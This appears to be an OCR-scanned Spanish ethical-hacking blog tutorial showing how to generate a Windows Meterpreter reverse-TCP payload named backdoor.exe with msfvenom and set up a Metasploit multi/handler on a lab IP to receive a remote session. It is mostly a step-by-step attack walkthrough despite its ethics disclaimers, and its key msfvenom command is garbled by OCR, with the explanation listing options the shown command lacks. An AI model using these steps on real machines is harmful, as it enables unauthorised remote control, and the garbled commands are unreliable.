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2 ACHALMA

Ejecutando payloads en ethical hacking

1 Creando y Ejecutando un Payload
Malicioso con Metasploit: Una Guia Paso a
Paso

Hola a todos! Hoy vamos a sumergirnos en el
fascinante mundo de la seguridad informatica y la
creacion de un payload malicioso usando Metas-
ploit. Si bien esta guia es con fines educativos, es
crucial recordar que utilizar estas herramientas pa-
ra actividades maliciosas es ilegal y antiético. {Usé-
moslas para aprender y proteger!

2 Paso 1: Obtener la Direccion IP con ifconfig

Primero, necesitamos conocer nuestra direccion
IP local para configurar el payload. Usamos el co-
mando ifconfig para obtener esta informacion.
Abre tu terminal y escribe:

ifconfig

Esto mostrard todas las interfaces de red y
sus respectivas direcciones IP. Busca la IP de tu
red local. En este ejemplo, supongamos que es
192.168.122.152.

3 Paso 2: Crear el Payload con msfvenom

Ahora que tenemos nuestra direccién IP, vamos
a crear el payload. Usaremos msfvenom, una he-
rramienta que viene con Metasploit para generar
payloads maliciosos. Queremos crear un payload
que permita un acceso remoto a una maquina con
Windows. Usamos el siguiente comando:

msfvenom -p windows/x64/meterpreter/reverse_tCip<fg > set payload windows/x64/mete’fpf§%e

Desglosamos el comando:

* LPORT=4444: Elegimos el puerto de escucha
(puedes cambiarlo si es necesario).

* —f exe: Indicamos que el formato de salida
debe ser un archivo ejecutable de Windows.

* -0 backdoor.exe: Nombramos el archivo
de salida backdoor . exe.

* —a x64: Especificamos la arquitectura del
payload (64 bits).

4 Paso 3: Configurar el Handler en
Metasploit

Una vez que tenemos nuestro payload, necesita-
mos configurar un handler en Metasploit para es-
cuchar las conexiones entrantes. Iniciamos Metas-
ploit con:

msfconsole —q

La opcidn —-q es para iniciar Metasploit en modo
silencioso.

5 Paso 4: Configurar el Exploit Handler

En la consola de Metasploit, seguimos estos pa-
SOS:

1. Seleccionar el handler:

msf6 > use exploit/multi/handler

Esto indica que usaremos el médulo handler
para gestionar la conexion entrante.

2. Configurar el payload:

3. Establecer el LHOST y LPORT:

* -p windows/x64/meterpreter/reverse_tcp:

Especificamos el payload, que en este caso es
un Meterpreter reverse TCP para Windows
de 64 bits.

* LHOST=192.168.122.152: Establecemos
nuestra direccioén IP local como el host de
escucha.

msf6 > set lhost 192.168.122.152
msf6 > set lport 4444

4. Verificar las opciones:
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msf6 > show options

Esto muestra todas las opciones configura-
das para asegurar que todo esté correcto.

6 Paso 5: Ejecutar el Handler

Finalmente, ejecutamos el handler para empezar
a escuchar conexiones:

msf6 > run

Ahora, el handler estd activo y esperando que
alguien ejecute el backdoor.exe en su maquina.
Cuando esto suceda, obtendras una sesion de Me-
terpreter y podrds interactuar con la maquina com-
prometida.

7 Conclusion

Este proceso demuestra como se puede crear y
manejar un payload malicioso usando Metasploit.

Nuevamente, subrayo la importancia de utilizar es-
te conocimiento de manera ética y legal, principal-
mente para probar y fortalecer la seguridad de siste-
mas. Siempre asegurate de tener permiso para rea-
lizar estas pruebas.

Espero que hayas encontrado esta guia informa-
tiva y util. {Hasta la préxima!
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Si te intereso este articulo, te recomendamos que
explores otros blogs y recursos relacionados que
pueden ampliar tus conocimientos. Aqui te dejo al-
gunas sugerencias:

1. B§ Ejecutando Payload

Esperamos que encuentres estas publicaciones
igualmente interesantes y utiles. jDisfruta de la lec-
tura!
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